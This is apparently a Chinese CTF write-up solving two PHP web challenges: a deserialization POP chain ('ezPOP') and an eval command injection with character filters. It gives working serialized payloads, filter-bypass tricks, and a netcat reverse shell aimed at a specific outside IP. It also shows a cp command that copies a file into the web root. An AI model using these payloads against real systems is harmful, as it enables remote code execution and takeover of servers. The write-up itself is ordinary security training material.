ezPOP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <?php error_reporting(0); highlight_file(__FILE__);
class AAA { public $s; public $a; public function __toString() { echo "you get 2 A <br>"; $p = $this->a; return $this->s->$p; } }
class BBB { public $c; public $d; public function __get($name) { echo "you get 2 B <br>"; $a=$_POST['a']; $b=$_POST; $c=$this->c; $d=$this->d; if (isset($b['a'])) { unset($b['a']); } call_user_func($a,$b)($c)($d); } }
class CCC { public $c;
public function __destruct() { echo "you get 2 C <br>"; echo $this->c; } }
if(isset($_GET['xy'])) { $a = unserialize($_GET['xy']); throw new Exception("noooooob!!!"); }
|
反序列化题目
尝试构造pop链
1
| __get --> __toString --> __destruct
|
1 2 3 4 5 6 7 8 9 10
| $num1=new AAA(); $num2=new BBB(); $num3=new CCC(); $num2->c="system"; $num2->d="cat /f*"; $num1->a="asd"; $num1->s=$num2; $num3->c=$num1;
echo serialize(array($num3,null));
|
1
| a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"cat /f*";}s:1:"a";s:3:"asd";}}i:1;N;}
|
throw new Exception("noooooob!!!");
在程序结束之前抛出异常,然后退出,这样反序列化的类就不能正确触发destruct函数了
法1:Fast-destruct即可:删除末尾的 } 快速触发 __destruct() (垃圾回收机制)从而绕过抛出异常终止执行
法2:这里使用unset()函数的原理绕过,这个函数相当于将类回收。可以使用数组反序列化的方式实现unset的功能,将0号元素设置为要反序列化的类,然后将后面的1号元素设置为null,并将位置1改为位置0。如下:
1
| a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"cat /f*";}s:1:"a";s:3:"asd";}}i:0;N;}
|
法1:然后再利用一个PHP原生类构成完整payload:
1 2 3
| POST /?xy=a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"cat /f*";}s:1:"a";s:3:"asd";}}i:0;N;}
a=Closure::fromCallable&0=Closure&1=fromCallable
|
利用 PHP原生类静态方法Closure::fromCallable,然后再以数组作为参数二次调用,这样经过
call_user_func($a, $b) 以后,就形成了一个Closure ,它加载第一个参数($c),就变成了以那个参
数命名的函数,例如system。然后再加载第二个参数($d)就变成了system函数的参数。
法2:
在PHP>7后,支持 (‘system’)(‘ls’) 这种==动态执行函数==的特性
简单测测 任意闭包会影响结果吗?
(‘system’)(‘ls’)(‘J1rrY’)(668)(996); 任意闭包都不会影响我们的结果 那么我们现在的问题是如何让 call_user_func($a,[‘key’=>’value’]) 返回字符串而且回调函数接受 一个数组,我们自然而然想到 implode 函数,将数组的值拼接为一个字符串,非常符合我们的预期 简单测试一下
1 2 3 4 5 6 7 8 9 10 11 12 13
| $num1=new AAA(); $num2=new BBB(); $num3=new CCC(); $num2->c="cat /f*"; $num2->d=0; $num1->a="asd"; $num1->s=$num2; $num3->c=$num1;
echo serialize($num3);
POST a=implode&b=system
|
牢牢记住,逝者为大
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php highlight_file(__FILE__); function Kobe($cmd) { if (strlen($cmd) > 13) { die("see you again~"); } if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) { die("肘死你"); } foreach ($_GET as $val_name => $val_val) { if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) { return "what can i say"; } } return $cmd; }
$cmd = Kobe($_GET['cmd']); echo "#man," . $cmd . ",manba out"; echo "<br>"; eval("#man," . $cmd . ",mamba out");
|
存在长度限制strlen($cmd) > 13
,使用反引号执行命令
等价shell_exec(),无回显
构造
1 2 3
| eval("#man," . $cmd . ",mamba out") %0a换行符绕过"#man," #注释掉",mamba out"
|
考虑反弹shell
1
| ?cmd=%0a`$_GET[1]`;%23&1=nc 120.76.142.165 32771 -e /bi''n/sh
|
方法2:
cp外带到网站根目录进行读取,过滤字符通过正则匹配绕过
1
| ?cmd=%0A`$_GET[1]`;%23&1=c''p/[@-z][@-z][@-z][@-z]/v[@-z]r/www/htm[@-z]
|